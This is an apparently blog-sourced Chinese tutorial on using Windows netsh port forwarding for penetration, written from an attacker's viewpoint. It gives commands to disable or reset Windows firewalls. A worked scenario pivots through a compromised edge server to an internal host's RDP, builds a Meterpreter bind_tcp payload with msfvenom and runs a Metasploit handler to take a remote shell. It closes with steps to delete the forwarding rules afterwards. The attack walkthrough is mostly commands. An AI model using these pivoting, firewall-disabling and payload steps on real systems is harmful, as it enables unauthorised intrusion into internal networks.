利用netsh进行端口转发

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

简介

自Windows XP开始,Windows中就内置网络端口转发的功能。任何传入到本地端口的TCP连接(IPv4或IPv6)都可以被重定向到另一个本地端口,或远程计算机上的端口,并且系统不需要有一个专门用于侦听该端口的服务。

对于渗透来说,也是一款非常好用的工具。比如:进行各类常规 tcp、udp 端口 ”正向” 转发以及对指定防火墙规则的各种增删操作等。

命令语法

关于netsh端口转发的命令语法如下:

1
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport

listenaddress – 等待连接的本地IP地址。

listenport – 本地侦听TCP端口。

connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)

connectport – 远程端口

防火墙管理

在 windows2003下使用netsh,需要先安装好ipv6支持,由于netsh同时支持ipv4和ipv6端口转发,如果不装,netsh工作可能会有些问题。

1
netsh interface ipv6 install 装完后立马重启系统

Win2003 之前系统

关于netsh在2003下的操作命令相对于之后的系统有所不同

1
2
3
netsh firewall show state 查看当前系统防火墙状态
netsh firewall set opmode disable 关闭当前系统防火墙
netsh firewall set opmode enable 启用当前系统防火墙

Win2003 之后系统

1
2
3
4
5
netsh advfirewall show allprofiles 查看当前系统所有网络类型的防火墙状态,比如,私有,公共,域网络 关闭当前系统防火墙
netsh advfirewall set allprofiles state off 关闭当前系统防火墙
netsh advfirewall set allprofiles state on 启用当前系统防火墙
netsh advfirewall reset 重置当前系统的所有防火墙规则,会初识到刚装完系统的状态
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log" 自定义防火墙日志位置

增删操作

1
2
3
4
5
6
7
add 增加规则
delete 删除规则
allow 允许连接
block 阻断连接
in 入站
out 出站
name 要显示的规则名称

实例说明

环境准备

☁️VPS攻击机 192.168.199.246

☁️目标边界Windows 2008服务器(出网) 内网IP 192.168.144.202

目标内网Widnwos 2003服务器(不出网) 内网IP 192.168.144.155

利用场景

RDP端口转发

通过☁️目标边界2008服务器访问目标内网2003服务器的远程桌面RDP:

【注:边界服务器执行netsh】

1
2
3
4
netsh advfirewall firewall add rule name="2003-rdp" dir=in action=allow protocol=TCP localport=33389 
netsh interface portproxy add v4tov4 listenport=33389 connectaddress=192.168.144.155 connectport=3389
netsh interface portproxy show all 查看所有转发规则
netstat -ano | findstr 33389

通过连接☁️边界2008服务器成功登录到内网2003服务器

image-20200209102340334

端口转发利用后,将转发规则删除。

1
2
3
netsh advfirewall firewall delete rule name="2008-rdp" dir=in protocol=TCP localport=33389
netsh interface portproxy delete v4tov4 listenport=33389
netsh interface portproxy show all

Metasploit上线

通过☁️边界2008服务器把其内网2003服务器(不出网)通过payload上线到☁️VPS攻击机的metasploit上。

1
2
3
4
netsh advfirewall firewall add rule name="mete bind" dir=in action=allow protocol=TCP localport=5353 
netsh interface portproxy add v4tov4 listenport=5353 connectaddress=192.168.144.155 connectport=53
netsh interface portproxy show all
netstat -ano | findstr 5353

通过msfvenom生成正向的payload,ahost为允许访问的机器,将该payload在内网2003服务器(不出网) 上执行。

1
sudo msfvenom -p windows/meterpreter/bind_tcp LPORT=53 AHOST=192.168.144.155 -f exe > netsh.exe

接着,在☁️VPS攻击机启用metasploit监听后,内网2003服务器(不出网)成功上线。

1
2
3
4
5
6
7
sudo msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set ahost 192.168.144.155 #只允许访问IP(内网服务器IP)
msf5 exploit(multi/handler) > set rhost 192.168.144.202 #边界服务器IP
msf5 exploit(multi/handler) > set lport 5353 #边界服务器port
msf5 exploit(multi/handler) > run -j

image-20200209113538182

端口转发利用后,将转发规则删除。

1
2
3
netsh advfirewall firewall delete rule name="mete bind" dir=in protocol=TCP localport=5353
netsh interface portproxy delete v4tov4 listenport=5353
netsh interface portproxy show all

建议

  • 尽量选择穿透性较好的端口
  • 用于转发的端口不能和目标系统中现有的端口冲突
  • ……